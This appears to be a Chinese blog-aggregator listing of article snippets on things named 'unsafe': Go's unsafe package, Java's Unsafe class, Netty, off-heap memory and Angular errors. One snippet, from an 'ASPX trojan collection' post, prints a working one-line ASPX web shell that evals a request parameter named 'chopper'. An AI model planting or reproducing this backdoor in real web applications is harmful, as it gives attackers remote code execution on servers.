unsafe包:Sizeof、Alignof和Offsetof,结构体内存对齐;unsafe.Pointer:查看浮点类型的位模式,修改结构体成员的值,不要把uintptr类型赋值给临时变量,reflect包返回的uintptr;深度相等示例:DeepEqual的不足,函数实现,支持循环引用,测试验证;关于安全的注意事项
分类:
其他好文 时间:
2019-05-24 22:25:44
阅读次数:
141
1.使用Unsafe类 2.声明简单锁 3.竞争锁失败的进队列 3.调用如下 ...
分类:
其他好文 时间:
2019-05-24 19:26:10
阅读次数:
85
AtomicInteger,通过Unsafe类来实现线程安全的CAS操作
分类:
编程语言 时间:
2019-05-22 14:05:10
阅读次数:
158
aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> 随日期变化的连接密码, Asp.NET服务端写法: <%@ Page Language="Jscript"%><%eval(Reque ...
分类:
Web程序 时间:
2019-05-17 19:23:10
阅读次数:
656
在用VS2013开发一AntiRootkit程序时遇到下面错误: error C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation ...
分类:
其他好文 时间:
2019-05-17 13:31:57
阅读次数:
356
阅读前提:本文分析的是源码,所以至少读者要熟悉它们的接口使用,同时,对于并发,读者至少要知道 CAS、ReentrantLock、UNSAFE 操作这几个基本的知识,文中不会对这些知识进行介绍。Java8 用到了红黑树,不过本文不会进行展开,感兴趣的读者请自行查找相关资料。 Java7 HashMa ...
分类:
编程语言 时间:
2019-05-16 17:42:18
阅读次数:
148
上文我们阐述了Netty的Reactor模型。在Reactor模型的第二阶段,Netty会处理各种io事件。对于客户端的各种请求就是在这个阶段去处理的。本文便来分析一个新的连接是如何被处理的。 代码的入口就从read方法开始。这里的unsafe的类型是NioMessageUnsafe,在服务端启动时 ...
分类:
Web程序 时间:
2019-05-13 16:26:11
阅读次数:
130
直接在堆外分配一个内存(即,native memory)来存储数据,程序通过JNI直接将数据读/写到堆外内存中。因为数据直接写入到了堆外内存中,所以这种方式就不会再在JVM管控的堆内再分配内存来存储数据了,也就不存在堆内内存和堆外内存数据拷贝的操作了。这样在进行I/O操作时,只需要将这个堆外内存地址... ...
分类:
其他好文 时间:
2019-05-13 09:21:53
阅读次数:
105
在angular中使用ng-data-html渲染dom时,遇到了一个Attempting to use an unsafe value in a safe context错误,官方给出的理由是‘试图在安全的上下文中使用不安全的值’。 导致此问题的实际原因是,返回数据中包含了html模板,angul ...
分类:
Web程序 时间:
2019-05-09 19:41:36
阅读次数:
628
Unsafe是什么?
Unsafe只有CAS的功能吗?
Unsafe为什么是不安全的?
怎么使用Unsafe?
分类:
编程语言 时间:
2019-05-06 10:26:02
阅读次数:
151